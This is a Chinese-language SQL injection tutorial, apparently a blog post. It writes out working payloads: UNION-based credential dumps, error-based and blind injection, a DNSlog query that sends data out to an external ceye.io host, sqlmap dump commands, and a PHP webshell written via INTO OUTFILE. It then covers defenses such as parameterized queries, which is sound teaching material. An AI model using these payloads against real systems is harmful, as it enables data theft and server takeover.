【渗透测试】SQL注入的原理、利用方式、防范措施

SQL注入的原理、利用方式、防范措施

漏洞原理

SQL注入攻击的核心原因在于程序员在开发Web应用时,未对用户提交的参数进行严格的过滤和校验。攻击者通过构造恶意输入,篡改原始SQL语句的逻辑,使数据库执行非预期的操作,例如泄露敏感数据、篡改或删除数据,甚至通过数据库执行系统命令。

一句话: 服务端未对用户输入的参数进行严格过滤或参数化处理,导致攻击者构造的恶意SQL语句被执行,从而泄露、篡改或删除敏感数据。

利用步骤

1.查找注入点

  • 一句话简单概括就是: 前端页面上所有提交数据的地方,不管是登录、注册、留言板、评论区、分页、URL参数等等地方,只要是提交数据给后台,后台拿着该数据和数据库交互了,那么这个地方就可能存在注入点。

  • 示例场景

    • 登录页面:用户名或密码输入框。

    • 商品搜索:搜索关键词参数(如?search=product)。

    • URL参数:如/article.php?id=1中的id参数。

  • 利用万能语句' or 1=1 #,尝试注入

2.判断数据库类型

  • 方法:通过注入特殊字符或函数,观察返回的错误信息。
  • MySQL特征
    • 错误信息包含MySQLYou have an error in your SQL syntax等关键词。
    • 示例:输入'触发语法错误,返回类似ERROR 1064 (42000)的错误码。

3.构造注入语句

联合查询(union select)
  • 目的:跨表查询敏感信息

  • 示例

    union select username, password from users
    
    • 解释:通过UNION合并两个查询结果,获取users表中的用户名和密码。
  • 示例2

    union select 1,group_concat(schema_name) from information_schema.schemata+--+
    
    • 解释:获取所有数据库名(数字1,用来满足union的参数数量的使用规则)
报错注入
  • 目的:利用数据库报错信息泄露数据

  • 示例

    abc' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
    
    • 解释:利用updatexml(),第二个参数不符合参数语法格式来报错,爆数据库版本信息。(0x7e是“~”的16进制,用来避免引号冲突和后台引号限制的绕过)
布尔盲注
  • 目的:通过页面返回状态(True/False)逐步猜测数据。

  • 示例

    ' AND ASCII(SUBSTR(DATABASE(),1,1))>112 #
    
    ' AND ASCII(SUBSTR(DATABASE(),1,1))<115 #
    
    ' AND ASCII(SUBSTR(DATABASE(),1,1))=113 #
    
    • 解释:逐字符猜测数据库名称,若返回正常页面,则表示猜测正确。
    • 注意:需要保证主查询语句正确响应,再尝试 payload 注入。
时间盲注
  • 目的:通过请求延迟判断条件真假。

  • 示例

    ' AND IF(SUBSTR(DATABASE(),1,1)='s',SLEEP(5),NULL) #
    
    • 解释:若数据库名首字母为s,则延迟5秒响应。
    • 注意:需要保证主查询语句正确响应,再尝试 payload 注入。
DNSlog注入
  • 目的: 通过DNS查询外带数据。

DNSlog注入也可以称之为DNS带外查询,DNS在域名解析时会在DNS服务器上留下域名和解析IP的记录,可以在DNS服务器上查询相应的DNS解析记录,来获取我们想要的数据。

  • 示例

第一步: 使用DNSlog日志记录功能的网站

http://ceye.io/ 知道创宇公司提供的

查看自己的网址域名 gexxxx.ceye.io

在这里插入图片描述

第二步: 构建测试sql,将网址添加到sql语句中

father. // 是我携带的数据

select load_file('\\\\father.gexxxx.ceye.io\\abc');

第三步: 确保MySQL读取文件功能的配置项开启 secure_file_priv=""

第四步: 在mysql命令行先测试一下我们写好的payload

第五步: 查看日志记录

在这里插入图片描述

发现测试成功,能看到我们携带的 father 这个数据,可以构造payload了

第六步: 构建payload,开始注入

示例: 获取当前库名

' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT DATABASE()),'.gexxxx.ceye.io\\abc'))) #

在这里插入图片描述

成功

4.自动化工具利用

  • 工具示例:SQLmap

    • 检测注入点:

      sqlmap -u "http://example.com/page.php?id=1" --level=5 --risk=3
      
    • 获取数据库名:

      sqlmap -u "http://example.com/page.php?id=1" --dbs
      
    • 提取数据:

      sqlmap -u "http://example.com/page.php?id=1" -D target_db -T users -C username,password --dump
      

利用场景

  1. 数据泄露
    • 攻击者获取用户表中的用户名、密码哈希,甚至信用卡信息。
  2. 权限提升
    • 通过注入写入Webshell(如SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php')。
  3. 数据库破坏
    • 执行DROP TABLETRUNCATE语句删除关键数据。

修复建议

  1. 参数化查询

    • 使用预编译语句(如PHP的PDO、Python的sqlite3模块)。

    • 危险代码

      $query = "SELECT * FROM users WHERE username='{$_POST['username']}'";
      
    • 安全代码

      $stmt = $pdo->prepare("SELECT * FROM users WHERE username=?");
      $stmt->execute([$_POST['username']]);
      
  2. 输入验证

    • 对用户输入进行白名单校验(如仅允许字母、数字)。
    • 示例:使用正则表达式过滤非预期字符。
  3. 最小权限原则

    • 数据库用户仅授予必要权限(如禁止FILE权限防止文件读写)。
  4. 错误信息隐藏

    • 禁止向用户返回详细错误信息(如mysqli_error())。
    • 示例:记录错误到日志,而非显示在页面。
  5. Web应用防火墙(WAF)

    • 部署WAF(如ModSecurity)拦截恶意请求。
    • 规则示例:阻断含UNION SELECTSLEEP()的请求。

结语

SQL注入的本质是信任边界的缺失。通过结构化攻击步骤(找点→判型→构造→利用)和防御措施(参数化+验证+最小权限),可有效降低风险。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值